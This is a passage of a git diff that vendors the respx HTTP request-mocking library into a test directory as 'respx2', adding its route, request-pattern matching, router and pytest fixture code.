+ effect("Mock Error", request=request)
+ if issubclass(effect, httpx.RequestError)
+ else effect()
+ ),
+ )
+
+ # Handle `Callable` side effect
+ elif callable(effect):
+ result = self._call_side_effect(effect, request, **kwargs)
+ return result
+
+ # Resolved effect is a mocked response
+ return effect
+
+ def resolve(self, request: httpx.Request, **kwargs: Any) -> RouteResultTypes:
+ result: RouteResultTypes = None
+
+ if self._side_effect:
+ result = self._resolve_side_effect(request, **kwargs)
+ if result is None:
+ return None # Side effect resolved as a non-matching route
+
+ elif self._return_value:
+ result = self._return_value
+
+ else:
+ # Auto mock a new response
+ result = httpx.Response(200, request=request)
+
+ if isinstance(result, httpx.Response) and not result._request:
+ # Clone reused Response for immutability
+ result = clone_response(result, request)
+
+ return result
+
+ def match(self, request: httpx.Request) -> RouteResultTypes:
+ """
+ Matches and resolves request with given patterns and optional side effect.
+
+ Returns None for a non-matching route, mocked response for a match,
+ or input request for pass-through.
+ """
+ context: Dict[str, Any] = {}
+
+ if self._pattern:
+ match = self._pattern.match(request)
+ if not match:
+ return None
+ context = match.context
+
+ if self._pass_through:
+ return request
+
+ result = self.resolve(request, **context)
+ return result
+
+
+class RouteList:
+ _routes: List[Route]
+ _names: Dict[str, Route]
+
+ def __init__(self, routes: Optional["RouteList"] = None) -> None:
+ if routes is None:
+ self._routes = []
+ self._names = {}
+ else:
+ self._routes = list(routes._routes)
+ self._names = dict(routes._names)
+
+ def __repr__(self) -> str:
+ return repr(self._routes) # pragma: nocover
+
+ def __iter__(self) -> Iterator[Route]:
+ return iter(self._routes)
+
+ def __bool__(self) -> bool:
+ return bool(self._routes)
+
+ def __len__(self) -> int:
+ return len(self._routes)
+
+ def __contains__(self, name: str) -> bool:
+ return name in self._names
+
+ def __getitem__(self, key: Union[int, str]) -> Route:
+ if isinstance(key, int):
+ return self._routes[key]
+ else:
+ return self._names[key]
+
+ def __setitem__(self, i: slice, routes: "RouteList") -> None:
+ """
+ Re-set all routes to given routes.
+ """
+ if (i.start, i.stop, i.step) != (None, None, None):
+ raise TypeError("Can't slice assign routes")
+ self._routes = list(routes._routes)
+ self._names = dict(routes._names)
+
+ def clear(self) -> None:
+ self._routes.clear()
+ self._names.clear()
+
+ def add(self, route: Route, name: Optional[str] = None) -> Route:
+ # Find route with same name
+ existing_route = self._names.pop(name or "", None)
+
+ if route in self._routes:
+ if existing_route and existing_route != route:
+ # Re-use existing route with same name, and drop any with same pattern
+ index = self._routes.index(route)
+ same_pattern_route = self._routes.pop(index)
+ if same_pattern_route.name:
+ del self._names[same_pattern_route.name]
+ same_pattern_route._name = None
+ elif not existing_route:
+ # Re-use existing route with same pattern
+ index = self._routes.index(route)
+ existing_route = self._routes[index]
+ if existing_route.name:
+ del self._names[existing_route.name]
+ existing_route._name = None
+
+ if existing_route:
+ # Update existing route's pattern and mock
+ existing_route._pattern = route._pattern
+ existing_route.return_value = route.return_value
+ existing_route.side_effect = route.side_effect
+ existing_route.pass_through(route.is_pass_through)
+ route = existing_route
+ else:
+ # Add new route
+ self._routes.append(route)
+
+ if name:
+ route._name = name
+ self._names[name] = route
+
+ return route
+
+ def pop(self, name, default=...):
+ """
+ Removes a route by name and returns it.
+
+ Raises KeyError when `default` not provided and name is not found.
+ """
+ try:
+ route = self._names.pop(name)
+ self._routes.remove(route)
+ return route
+ except KeyError as ex:
+ if default is ...:
+ raise ex
+ return default
+
+
+class AllMockedAssertionError(AssertionError):
+ pass
+
+
+class SideEffectError(Exception):
+ def __init__(self, route: Route, origin: Exception) -> None:
+ self.route = route
+ self.origin = origin
+
+
+class PassThrough(Exception):
+ def __init__(self, message: str, *, request: httpx.Request, origin: Route) -> None:
+ super().__init__(message)
+ self.request = request
+ self.origin = origin
+
+
+class ResolvedRoute:
+ def __init__(self):
+ self.route: Optional[Route] = None
+ self.response: Optional[ResolvedResponseTypes] = None
diff --git a/tests/respx2/patterns.py b/tests/respx2/patterns.py
new file mode 100644
index 0000000000..7bcb43141a
--- /dev/null
+++ b/tests/respx2/patterns.py
@@ -0,0 +1,782 @@
+import io
+import json as jsonlib
+import operator
+import pathlib
+import re
+from abc import ABC
+from enum import Enum
+from functools import reduce
+from http.cookies import SimpleCookie
+from types import MappingProxyType
+from typing import (
+ Any,
+ Callable,
+ ClassVar,
+ Dict,
+ List,
+ Mapping,
+ Optional,
+ Pattern as RegexPattern,
+ Sequence,
+ Set,
+ Tuple,
+ Type,
+ Union,
+)
+from unittest.mock import ANY
+
+import httpx2 as httpx
+
+from tests.respx2.utils import MultiItems, decode_data
+
+from .types import (
+ URL as RawURL,
+ CookieTypes,
+ FileTypes,
+ HeaderTypes,
+ QueryParamTypes,
+ RequestFiles,
+ URLPatternTypes,
+)
+
+
+class Lookup(Enum):
+ EQUAL = "eq"
+ REGEX = "regex"
+ STARTS_WITH = "startswith"
+ CONTAINS = "contains"
+ IN = "in"
+
+
+class Match:
+ def __init__(self, matches: bool, **context: Any) -> None:
+ self.matches = matches
+ self.context = context
+
+ def __bool__(self):
+ return bool(self.matches)
+
+ def __invert__(self):
+ self.matches = not self.matches
+ return self
+
+ def __repr__(self): # pragma: nocover
+ return f""
+
+
+class Pattern(ABC):
+ key: ClassVar[str]
+ lookups: ClassVar[Tuple[Lookup, ...]] = (Lookup.EQUAL,)
+
+ lookup: Lookup
+ base: Optional["Pattern"]
+ value: Any
+
+ # Automatically register all the subclasses in this dict
+ __registry: ClassVar[Dict[str, Type["Pattern"]]] = {}
+ registry = MappingProxyType(__registry)
+
+ def __init_subclass__(cls) -> None:
+ if not getattr(cls, "key", None) or ABC in cls.__bases__:
+ return
+
+ if cls.key in cls.__registry:
+ raise TypeError(
+ "Subclasses of Pattern must define a unique key. "
+ f"{cls.key!r} is already defined in {cls.__registry[cls.key]!r}"
+ )
+
+ cls.__registry[cls.key] = cls
+
+ def __init__(self, value: Any, lookup: Optional[Lookup] = None) -> None:
+ if lookup and lookup not in self.lookups:
+ raise NotImplementedError(
+ f"{self.key!r} pattern does not support {lookup.value!r} lookup"
+ )
+ self.lookup = lookup or self.lookups[0]
+ self.base = None
+ self.value = self.clean(value)
+
+ def __iter__(self):
+ yield self
+
+ def __bool__(self):
+ return True
+
+ def __and__(self, other: "Pattern") -> "Pattern":
+ if not bool(other):
+ return self
+ elif not bool(self):
+ return other
+ return _And((self, other))
+
+ def __or__(self, other: "Pattern") -> "Pattern":
+ if not bool(other):
+ return self
+ elif not bool(self):
+ return other
+ return _Or((self, other))
+
+ def __invert__(self):
+ if not bool(self):
+ return self
+ return _Invert(self)
+
+ def __repr__(self): # pragma: nocover
+ return f"<{self.__class__.__name__} {self.lookup.value} {repr(self.value)}>"
+
+ def __hash__(self):
+ return hash((self.__class__, self.lookup, self.value))
+
+ def __eq__(self, other: object) -> bool:
+ return hash(self) == hash(other)
+
+ def clean(self, value: Any) -> Any:
+ """
+ Clean and return pattern value.
+ """
+ return value
+
+ def parse(self, request: httpx.Request) -> Any: # pragma: nocover
+ """
+ Parse and return request value to match with pattern value.
+ """
+ raise NotImplementedError()
+
+ def strip_base(self, value: Any) -> Any: # pragma: nocover
+ return value
+
+ def match(self, request: httpx.Request) -> Match:
+ try:
+ value = self.parse(request)
+ except Exception:
+ return Match(False)
+
+ # Match and strip base
+ if self.base:
+ base_match = self.base._match(value)
+ if not base_match:
+ return base_match
+ value = self.strip_base(value)
+
+ return self._match(value)
+
+ def _match(self, value: Any) -> Match:
+ lookup_method = getattr(self, f"_{self.lookup.value}")
+ return lookup_method(value)
+
+ def _eq(self, value: Any) -> Match:
+ return Match(value == self.value)
+
+ def _regex(self, value: str) -> Match:
+ match = self.value.search(value)
+ if match is None:
+ return Match(False)
+ return Match(True, **match.groupdict())
+
+ def _startswith(self, value: str) -> Match:
+ return Match(value.startswith(self.value))
+
+ def _contains(self, value: Any) -> Match: # pragma: nocover
+ raise NotImplementedError()
+
+ def _in(self, value: Any) -> Match:
+ return Match(value in self.value)
+
+
+class Noop(Pattern):
+ def __init__(self) -> None:
+ super().__init__(None)
+
+ def __repr__(self):
+ return f"<{self.__class__.__name__}>"
+
+ def __bool__(self) -> bool:
+ # Treat this pattern as non-existent, e.g. when filtering or conditioning
+ return False
+
+ def match(self, request: httpx.Request) -> Match:
+ # If this pattern is part of a combined pattern, always be truthy, i.e. noop
+ return Match(True)
+
+
+class PathPattern(Pattern):
+ path: Optional[str]
+
+ def __init__(
+ self, value: Any, lookup: Optional[Lookup] = None, *, path: Optional[str] = None
+ ) -> None:
+ self.path = path
+ super().__init__(value, lookup)
+
+
+class _And(Pattern):
+ value: Tuple[Pattern, Pattern]
+
+ def __repr__(self): # pragma: nocover
+ a, b = self.value
+ return f"{repr(a)} AND {repr(b)}"
+
+ def __iter__(self):
+ a, b = self.value
+ yield from a
+ yield from b
+
+ def match(self, request: httpx.Request) -> Match:
+ a, b = self.value
+ a_match = a.match(request)
+ if not a_match:
+ return a_match
+ b_match = b.match(request)
+ if not b_match:
+ return b_match
+ return Match(True, **{**a_match.context, **b_match.context})
+
+
+class _Or(Pattern):
+ value: Tuple[Pattern, Pattern]
+
+ def __repr__(self): # pragma: nocover
+ a, b = self.value
+ return f"{repr(a)} OR {repr(b)}"
+
+ def __iter__(self):
+ a, b = self.value
+ yield from a
+ yield from b
+
+ def match(self, request: httpx.Request) -> Match:
+ a, b = self.value
+ match = a.match(request)
+ if not match:
+ match = b.match(request)
+ return match
+
+
+class _Invert(Pattern):
+ value: Pattern
+
+ def __repr__(self): # pragma: nocover
+ return f"NOT {repr(self.value)}"
+
+ def __iter__(self):
+ yield from self.value
+
+ def match(self, request: httpx.Request) -> Match:
+ return ~self.value.match(request)
+
+
+class Method(Pattern):
+ key = "method"
+ lookups = (Lookup.EQUAL, Lookup.IN)
+ value: Union[str, Sequence[str]]
+
+ def clean(self, value: Union[str, Sequence[str]]) -> Union[str, Sequence[str]]:
+ if isinstance(value, str):
+ value = value.upper()
+ else:
+ assert isinstance(value, Sequence)
+ value = tuple(v.upper() for v in value)
+ return value
+
+ def parse(self, request: httpx.Request) -> str:
+ return request.method
+
+
+class MultiItemsMixin:
+ lookup: Lookup
+ value: Any
+
+ def _multi_items(
+ self, value: Any, *, parse_any: bool = False, encode_any: bool = False
+ ) -> Tuple[Tuple[str, Tuple[Any, ...]], ...]:
+ return tuple(
+ (
+ key,
+ tuple(
+ self._item_value(v, parse_any=parse_any, encode_any=encode_any)
+ for v in value.get_list(key)
+ ),
+ )
+ for key in sorted(value.keys())
+ )
+
+ def _item_value(
+ self, value: Any, parse_any: bool = False, encode_any: bool = False
+ ) -> Any:
+ return (
+ ANY
+ if parse_any and value == str(ANY)
+ else str(ANY)
+ if encode_any and value is ANY
+ else value
+ )
+
+ def __hash__(self):
+ return hash(
+ (
+ self.__class__,
+ self.lookup,
+ self._multi_items(self.value, encode_any=True),
+ )
+ )
+
+ def _eq(self, value: Any) -> Match:
+ value_items = self._multi_items(self.value, parse_any=True)
+ request_items = self._multi_items(value)
+ return Match(value_items == request_items)
+
+ def _contains(self, value: Any) -> Match:
+ if len(self.value.multi_items()) > len(value.multi_items()):
+ return Match(False)
+
+ value_items = self._multi_items(self.value, parse_any=True)
+ request_items = self._multi_items(value)
+
+ for item in value_items:
+ if item not in request_items:
+ return Match(False)
+
+ return Match(True)
+
+
+class Headers(MultiItemsMixin, Pattern):
+ key = "headers"
+ lookups = (Lookup.CONTAINS, Lookup.EQUAL)
+ value: httpx.Headers
+
+ def clean(self, value: HeaderTypes) -> httpx.Headers:
+ return httpx.Headers(value)
+
+ def parse(self, request: httpx.Request) -> httpx.Headers:
+ return request.headers
+
+
+class Cookies(Pattern):
+ key = "cookies"
+ lookups = (Lookup.CONTAINS, Lookup.EQUAL)
+ value: Set[Tuple[str, str]]
+
+ def __hash__(self):
+ return hash((self.__class__, self.lookup, tuple(sorted(self.value))))
+
+ def clean(self, value: CookieTypes) -> Set[Tuple[str, str]]:
+ if isinstance(value, dict):
+ return set(value.items())
+
+ return set(value)
+
+ def parse(self, request: httpx.Request) -> Set[Tuple[str, str]]:
+ headers = request.headers
+
+ cookie_header = headers.get("cookie")
+ if not cookie_header:
+ return set()
+
+ cookies: SimpleCookie = SimpleCookie()
+ cookies.load(rawdata=cookie_header)
+
+ return {(cookie.key, cookie.value) for cookie in cookies.values()}
+
+ def _contains(self, value: Set[Tuple[str, str]]) -> Match:
+ return Match(bool(self.value & value))
+
+
+class Scheme(Pattern):
+ key = "scheme"
+ lookups = (Lookup.EQUAL, Lookup.IN)
+ value: Union[str, Sequence[str]]
+
+ def clean(self, value: Union[str, Sequence[str]]) -> Union[str, Sequence[str]]:
+ if isinstance(value, str):
+ value = value.lower()
+ else:
+ assert isinstance(value, Sequence)
+ value = tuple(v.lower() for v in value)
+ return value
+
+ def parse(self, request: httpx.Request) -> str:
+ return request.url.scheme
+
+
+class Host(Pattern):
+ key = "host"
+ lookups = (Lookup.EQUAL, Lookup.REGEX, Lookup.IN)
+ value: Union[str, RegexPattern[str], Sequence[str]]
+
+ def clean(
+ self, value: Union[str, RegexPattern[str]]
+ ) -> Union[str, RegexPattern[str]]:
+ if self.lookup is Lookup.REGEX and isinstance(value, str):
+ value = re.compile(value)
+ return value
+
+ def parse(self, request: httpx.Request) -> str:
+ return request.url.host
+
+
+class Port(Pattern):
+ key = "port"
+ lookups = (Lookup.EQUAL, Lookup.IN)
+ value: Optional[int]
+
+ def parse(self, request: httpx.Request) -> Optional[int]:
+ scheme = request.url.scheme
+ port = request.url.port
+ scheme_port = get_scheme_port(scheme)
+ return port or scheme_port
+
+
+class Path(Pattern):
+ key = "path"
+ lookups = (Lookup.EQUAL, Lookup.REGEX, Lookup.STARTS_WITH, Lookup.IN)
+ value: Union[str, Sequence[str], RegexPattern[str]]
+
+ def clean(
+ self, value: Union[str, RegexPattern[str]]
+ ) -> Union[str, RegexPattern[str]]:
+ if self.lookup in (Lookup.EQUAL, Lookup.STARTS_WITH) and isinstance(value, str):
+ # Percent encode path, i.e. revert parsed path by httpx.URL.
+ # Borrowed from HTTPX's "private" quote and percent_encode utilities.
+ path = "".join(
+ char
+ if char
+ in "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~/"
+ else "".join(f"%{byte:02x}" for byte in char.encode("utf-8")).upper()
+ for char in value
+ )
+ # Ensure a leading slash. Note we don't use urljoin because its
+ # behaviour with multiple slashes in the path is incorrect - see
+ # https://github.com/lundberg/respx/issues/273
+ if not path.startswith("/"):
+ path = f"/{path}"
+ value = httpx.URL(path).path
+ elif self.lookup is Lookup.REGEX and isinstance(value, str):
+ value = re.compile(value)
+ return value
+
+ def parse(self, request: httpx.Request) -> str:
+ return request.url.path
+
+ def strip_base(self, value: str) -> str:
+ if self.base:
+ value = value[len(self.base.value) :]
+ value = "/" + value if not value.startswith("/") else value
+ return value
+
+
+class Params(MultiItemsMixin, Pattern):
+ key = "params"
+ lookups = (Lookup.CONTAINS, Lookup.EQUAL)
+ value: httpx.QueryParams
+
+ def clean(self, value: QueryParamTypes) -> httpx.QueryParams:
+ return httpx.QueryParams(value)
+
+ def parse(self, request: httpx.Request) -> httpx.QueryParams:
+ query = request.url.query
+ return httpx.QueryParams(query)
+
+
+class URL(Pattern):
+ key = "url"
+ lookups = (
+ Lookup.EQUAL,
+ Lookup.REGEX,
+ Lookup.STARTS_WITH,
+ )
+ value: Union[str, RegexPattern[str]]
+
+ def clean(self, value: URLPatternTypes) -> Union[str, RegexPattern[str]]:
+ url: Union[str, RegexPattern[str]]
+ if self.lookup is Lookup.EQUAL and isinstance(value, (str, tuple, httpx.URL)):
+ _url = parse_url(value)
+ _url = self._ensure_path(_url)
+ url = str(_url)
+ elif self.lookup is Lookup.REGEX and isinstance(value, str):
+ url = re.compile(value)
+ elif isinstance(value, (str, RegexPattern)):
+ url = value
+ else:
+ raise ValueError(f"Invalid url: {value!r}")
+ return url
+
+ def parse(self, request: httpx.Request) -> str:
+ url = request.url
+ url = self._ensure_path(url)
+ return str(url)
+
+ def _ensure_path(self, url: httpx.URL) -> httpx.URL:
+ if not url._uri_reference.path:
+ url = url.copy_with(path="/")
+ return url
+
+
+class ContentMixin:
+ def parse(self, request: httpx.Request) -> Any:
+ content = request.read()
+ return content
+
+
+class Content(ContentMixin, Pattern):
+ lookups = (Lookup.EQUAL, Lookup.CONTAINS)
+ key = "content"
+ value: bytes
+
+ def clean(self, value: Union[bytes, str]) -> bytes:
+ if isinstance(value, str):
+ return value.encode()
+ return value
+
+ def _contains(self, value: Union[bytes, str]) -> Match:
+ return Match(self.value in value)
+
+
+class JSON(ContentMixin, PathPattern):
+ lookups = (Lookup.EQUAL,)
+ key = "json"
+ value: str
+
+ def clean(self, value: Union[str, List, Dict]) -> str:
+ return self.hash(value)
+
+ def parse(self, request: httpx.Request) -> str:
+ content = super().parse(request)
+ json = jsonlib.loads(content.decode("utf-8"))
+
+ if self.path:
+ value = json
+ for bit in self.path.split("__"):
+ key = int(bit) if bit.isdigit() else bit
+ try:
+ value = value[key]
+ except KeyError as e:
+ raise KeyError(f"{self.path!r} not in {json!r}") from e
+ except IndexError as e:
+ raise IndexError(f"{self.path!r} not in {json!r}") from e
+ else:
+ value = json
+
+ return self.hash(value)
+
+ def hash(self, value: Union[str, List, Dict]) -> str:
+ return jsonlib.dumps(value, sort_keys=True)
+
+
+class Data(MultiItemsMixin, Pattern):
+ lookups = (Lookup.EQUAL, Lookup.CONTAINS)
+ key = "data"
+ value: MultiItems
+
+ def _normalize_value(self, value: Any) -> Union[str, List[str]]:
+ if value is None:
+ return ""
+ elif isinstance(value, (tuple, list)):
+ return [str(v) for v in value]
+ else:
+ return str(value)
+
+ def clean(self, value: Dict[str, Any]) -> MultiItems:
+ return MultiItems(
+ (key, self._normalize_value(value)) for key, value in value.items()
+ )
+
+ def parse(self, request: httpx.Request) -> Any:
+ data, _ = decode_data(request)
+ return data
+
+
+class Files(MultiItemsMixin, Pattern):
+ lookups = (Lookup.CONTAINS, Lookup.EQUAL)
+ key = "files"
+ value: MultiItems
+
+ def _normalize_file_value(self, value: FileTypes) -> Tuple[Tuple[Any, Any]]:
+ # Mimic httpx `FileField` to normalize `files` kwarg to shortest tuple style
+ if isinstance(value, tuple):
+ filename, fileobj = value[:2]
+ else:
+ try:
+ filename = pathlib.Path(str(getattr(value, "name"))).name # noqa: B009
+ except AttributeError:
+ filename = ANY
+ fileobj = value
+
+ # Normalize file-like objects and strings to bytes to allow equality check
+ if isinstance(fileobj, io.BytesIO):
+ fileobj = fileobj.read()
+ elif isinstance(fileobj, str):
+ fileobj = fileobj.encode()
+
+ return ((filename, fileobj),)
+
+ def _item_value(
+ self, value: Tuple[Any, Any], parse_any: bool = False, encode_any: bool = False
+ ) -> Tuple[Any, Any]:
+ filename, data = value
+ return (
+ super()._item_value(filename, parse_any=parse_any, encode_any=encode_any),
+ super()._item_value(data, parse_any=parse_any, encode_any=encode_any),
+ )
+
+ def clean(self, value: RequestFiles) -> MultiItems:
+ if isinstance(value, Mapping):
+ value = list(value.items())
+
+ files = MultiItems(
+ (name, self._normalize_file_value(file_value)) for name, file_value in value
+ )
+ return files
+
+ def parse(self, request: httpx.Request) -> Any:
+ _, files = decode_data(request)
+ return files
+
+
+def M(*patterns: Pattern, **lookups: Any) -> Pattern:
+ extras = None
+
+ for pattern__lookup, value in lookups.items():
+ # Handle url pattern
+ if pattern__lookup == "url":
+ extras = parse_url_patterns(value)
+ continue
+
+ # Parse pattern key and lookup
+ pattern_key, __, rest = pattern__lookup.partition("__")
+ path, __, lookup_name = rest.rpartition("__")
+ if pattern_key not in Pattern.registry:
+ raise KeyError(f"{pattern_key!r} is not a valid Pattern")
+
+ # Get pattern class
+ P = Pattern.registry[pattern_key]
+ pattern: Union[Pattern, PathPattern]
+
+ if issubclass(P, PathPattern):
+ # Make path supported pattern, i.e. JSON
+ try:
+ lookup = Lookup(lookup_name) if lookup_name else None
+ except ValueError:
+ lookup = None
+ path = rest
+ pattern = P(value, lookup=lookup, path=path)
+ else:
+ # Make regular pattern
+ lookup = Lookup(lookup_name) if lookup_name else None
+ pattern = P(value, lookup=lookup)
+
+ # Skip patterns with no value, exept when using equal lookup
+ if not pattern.value and pattern.lookup is not Lookup.EQUAL:
+ continue
+
+ patterns += (pattern,)
+
+ # Combine and merge patterns
+ combined_pattern = combine(patterns)
+ if extras:
+ combined_pattern = merge_patterns(combined_pattern, **extras)
+
+ return combined_pattern
+
+
+def get_scheme_port(scheme: Optional[str]) -> Optional[int]:
+ return {"http": 80, "https": 443}.get(scheme or "")
+
+
+def combine(patterns: Sequence[Pattern], op: Callable = operator.and_) -> Pattern:
+ patterns = tuple(filter(None, patterns))
+ if not patterns:
+ return Noop()
+ return reduce(op, patterns)
+
+
+def parse_url(value: Union[httpx.URL, str, RawURL]) -> httpx.URL:
+ url: Union[httpx.URL, str]
+
+ if isinstance(value, tuple):
+ # Handle "raw" httpcore urls. Borrowed from HTTPX prior to #2241
+ raw_scheme, raw_host, port, raw_path = value
+ scheme = raw_scheme.decode("ascii")
+ host = raw_host.decode("ascii")
+ if host and ":" in host and host[0] != "[":
+ # it's an IPv6 address, so it should be enclosed in "[" and "]"
+ # ref: https://tools.ietf.org/html/rfc2732#section-2
+ # ref: https://tools.ietf.org/html/rfc3986#section-3.2.2
+ host = f"[{host}]"
+ port_str = "" if port is None else f":{port}"
+ path = raw_path.decode("ascii")
+ url = f"{scheme}://{host}{port_str}{path}"
+ else:
+ url = value
+
+ return httpx.URL(url)
+
+
+def parse_url_patterns(
+ url: Optional[URLPatternTypes], exact: bool = True
+) -> Dict[str, Pattern]:
+ bases: Dict[str, Pattern] = {}
+ if not url or url == "all":
+ return bases
+
+ if isinstance(url, RegexPattern):
+ return {"url": URL(url, lookup=Lookup.REGEX)}
+
+ url = parse_url(url)
+ scheme_port = get_scheme_port(url.scheme)
+
+ if url.scheme and url.scheme != "all":
+ bases[Scheme.key] = Scheme(url.scheme)
+ if url.host:
+ # NOTE: Host regex patterns borrowed from HTTPX source to support proxy format
+ if url.host.startswith("*."):
+ domain = re.escape(url.host[2:])
+ regex = re.compile(f"^.+\\.{domain}$")
+ bases[Host.key] = Host(regex, lookup=Lookup.REGEX)
+ elif url.host.startswith("*"):
+ domain = re.escape(url.host[1:])
+ regex = re.compile(f"^(.+\\.)?{domain}$")
+ bases[Host.key] = Host(regex, lookup=Lookup.REGEX)
+ else:
+ bases[Host.key] = Host(url.host)
+ if url.port and url.port != scheme_port:
+ bases[Port.key] = Port(url.port)
+ if url._uri_reference.path: # URL.path always returns "/"
+ lookup = Lookup.EQUAL if exact else Lookup.STARTS_WITH
+ bases[Path.key] = Path(url.path, lookup=lookup)
+ if url.query:
+ lookup = Lookup.EQUAL if exact else Lookup.CONTAINS
+ bases[Params.key] = Params(url.query, lookup=lookup)
+
+ return bases
+
+
+def merge_patterns(pattern: Pattern, **bases: Pattern) -> Pattern:
+ if not bases:
+ return pattern
+
+ # Flatten pattern
+ patterns: List[Pattern] = list(filter(None, iter(pattern)))
+
+ if patterns:
+ if "host" in (_pattern.key for _pattern in patterns):
+ # Pattern is "absolute", skip merging
+ bases = {}
+ else:
+ # Traverse pattern and set related base
+ for _pattern in patterns:
+ base = bases.pop(_pattern.key, None)
+ # Skip "exact" base + don't overwrite existing base
+ if _pattern.base or base and base.lookup is Lookup.EQUAL:
+ continue
+ _pattern.base = base
+
+ if bases:
+ # Combine left over base patterns with pattern
+ base_pattern = combine(list(bases.values()))
+ if pattern and base_pattern:
+ pattern = base_pattern & pattern
+ else:
+ pattern = base_pattern
+
+ return pattern
diff --git a/tests/respx2/plugin.py b/tests/respx2/plugin.py
new file mode 100644
index 0000000000..81e2759b32
--- /dev/null
+++ b/tests/respx2/plugin.py
@@ -0,0 +1,30 @@
+from typing import cast
+
+import pytest
+
+from tests import respx2 as respx
+
+from .router import MockRouter
+
+
+def pytest_configure(config):
+ config.addinivalue_line(
+ "markers",
+ "respx2(assert_all_called=False, assert_all_mocked=False, base_url=...): "
+ "configure the respx2_mock fixture. "
+ "See https://lundberg.github.io/respx/api.html#configuration",
+ )
+
+
+@pytest.fixture
+def respx2_mock(request):
+ respx_marker = request.node.get_closest_marker("respx2")
+
+ mock_router: MockRouter = (
+ respx.mock
+ if respx_marker is None
+ else cast(MockRouter, respx.mock(**respx_marker.kwargs))
+ )
+
+ with mock_router:
+ yield mock_router
diff --git a/tests/respx2/py.typed b/tests/respx2/py.typed
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/tests/respx2/router.py b/tests/respx2/router.py
new file mode 100644
index 0000000000..fc1d6e22e0
--- /dev/null
+++ b/tests/respx2/router.py
@@ -0,0 +1,486 @@
+import inspect
+from contextlib import contextmanager
+from functools import partial, update_wrapper, wraps
+from types import TracebackType
+from typing import (
+ Any,
+ Callable,
+ Dict,
+ Generator,
+ List,
+ NewType,
+ Optional,
+ Tuple,
+ Type,
+ Union,
+ cast,
+ overload,
+)
+
+import httpx2 as httpx
+
+from .mocks import Mocker
+from .models import (
+ AllMockedAssertionError,
+ CallList,
+ PassThrough,
+ ResolvedRoute,
+ Route,
+ RouteList,
+ SideEffectError,
+)
+from .patterns import Pattern, merge_patterns, parse_url_patterns
+from .types import DefaultType, ResolvedResponseTypes, RouteResultTypes, URLPatternTypes
+
+Default = NewType("Default", object)
+DEFAULT = Default(...)
+
+
+class Router:
+ def __init__(
+ self,
+ *,
+ assert_all_called: bool = True,
+ assert_all_mocked: bool = True,
+ base_url: Optional[str] = None,
+ ) -> None:
+ self._assert_all_called = assert_all_called
+ self._assert_all_mocked = assert_all_mocked
+ self._bases = parse_url_patterns(base_url, exact=False)
+
+ self.routes = RouteList()
+ self.calls = CallList()
+
+ self._snapshots: List[Tuple] = []
+ self.snapshot()
+
+ def clear(self) -> None:
+ """
+ Clears all routes. May be rolled back to snapshot state.
+ """
+ self.routes.clear()
+
+ def snapshot(self) -> None:
+ """
+ Snapshots current routes and calls state.
+ """
+ # Snapshot current routes and calls
+ routes = RouteList(self.routes)
+ calls = CallList(self.calls)
+ self._snapshots.append((routes, calls))
+
+ # Snapshot each route state
+ for route in routes:
+ route.snapshot()
+
+ def rollback(self) -> None:
+ """
+ Rollbacks routes, and optionally calls, to snapshot state.
+ """
+ if not self._snapshots:
+ return
+
+ # Revert added routes and calls to last snapshot
+ routes, calls = self._snapshots.pop()
+ self.routes[:] = routes
+ self.calls[:] = calls
+
+ # Revert each route state to last snapshot
+ for route in self.routes:
+ route.rollback()
+
+ def reset(self) -> None:
+ """
+ Resets call stats.
+ """
+ self.calls.clear()
+ for route in self.routes:
+ route.reset()
+
+ def assert_all_called(self) -> None:
+ not_called_routes = [route for route in self.routes if not route.called]
+ assert not_called_routes == [], "RESPX: some routes were not called!"
+
+ def __getitem__(self, name: str) -> Route:
+ return self.routes[name]
+
+ @overload
+ def pop(self, name: str) -> Route:
+ ... # pragma: nocover
+
+ @overload
+ def pop(self, name: str, default: DefaultType) -> Union[Route, DefaultType]:
+ ... # pragma: nocover
+
+ def pop(self, name, default=...):
+ """
+ Removes a route by name and returns it.
+
+ Raises KeyError when `default` not provided and name is not found.
+ """
+ try:
+ return self.routes.pop(name)
+ except KeyError as ex:
+ if default is ...:
+ raise ex
+ return default
+
+ def route(
+ self, *patterns: Pattern, name: Optional[str] = None, **lookups: Any
+ ) -> Route:
+ route = Route(*patterns, **lookups)
+ return self.add(route, name=name)
+
+ def add(self, route: Route, *, name: Optional[str] = None) -> Route:
+ """
+ Adds a route with optionally given name,
+ replacing any existing route with same name or pattern.
+ """
+ if not isinstance(route, Route):
+ raise ValueError(
+ f"Invalid route {route!r}, please use respx.route(...).mock(...)"
+ )
+
+ route._pattern = merge_patterns(route.pattern, **self._bases)
+ route = self.routes.add(route, name=name)
+ return route
+
+ def request(
+ self,
+ method: str,
+ url: Optional[URLPatternTypes] = None,
+ *,
+ name: Optional[str] = None,
+ **lookups: Any,
+ ) -> Route:
+ if lookups:
+ # Validate that lookups doesn't contain method or url
+ pattern_keys = {p.split("__", 1)[0] for p in lookups.keys()}
+ if "method" in pattern_keys:
+ raise TypeError("Got multiple values for pattern 'method'")
+ elif url and "url" in pattern_keys:
+ raise TypeError("Got multiple values for pattern 'url'")
+
+ return self.route(method=method, url=url, name=name, **lookups)
+
+ def get(
+ self,
+ url: Optional[URLPatternTypes] = None,
+ *,
+ name: Optional[str] = None,
+ **lookups: Any,
+ ) -> Route:
+ return self.request(method="GET", url=url, name=name, **lookups)
+
+ def post(
+ self,
+ url: Optional[URLPatternTypes] = None,
+ *,
+ name: Optional[str] = None,
+ **lookups: Any,
+ ) -> Route:
+ return self.request(method="POST", url=url, name=name, **lookups)
+
+ def put(
+ self,
+ url: Optional[URLPatternTypes] = None,
+ *,
+ name: Optional[str] = None,
+ **lookups: Any,
+ ) -> Route:
+ return self.request(method="PUT", url=url, name=name, **lookups)
+
+ def patch(
+ self,
+ url: Optional[URLPatternTypes] = None,
+ *,
+ name: Optional[str] = None,
+ **lookups: Any,
+ ) -> Route:
+ return self.request(method="PATCH", url=url, name=name, **lookups)
+
+ def delete(
+ self,
+ url: Optional[URLPatternTypes] = None,
+ *,
+ name: Optional[str] = None,
+ **lookups: Any,
+ ) -> Route:
+ return self.request(method="DELETE", url=url, name=name, **lookups)
+
+ def head(
+ self,
+ url: Optional[URLPatternTypes] = None,
+ *,
+ name: Optional[str] = None,
+ **lookups: Any,
+ ) -> Route:
+ return self.request(method="HEAD", url=url, name=name, **lookups)
+
+ def options(
+ self,
+ url: Optional[URLPatternTypes] = None,
+ *,
+ name: Optional[str] = None,
+ **lookups: Any,
+ ) -> Route:
+ return self.request(method="OPTIONS", url=url, name=name, **lookups)
+
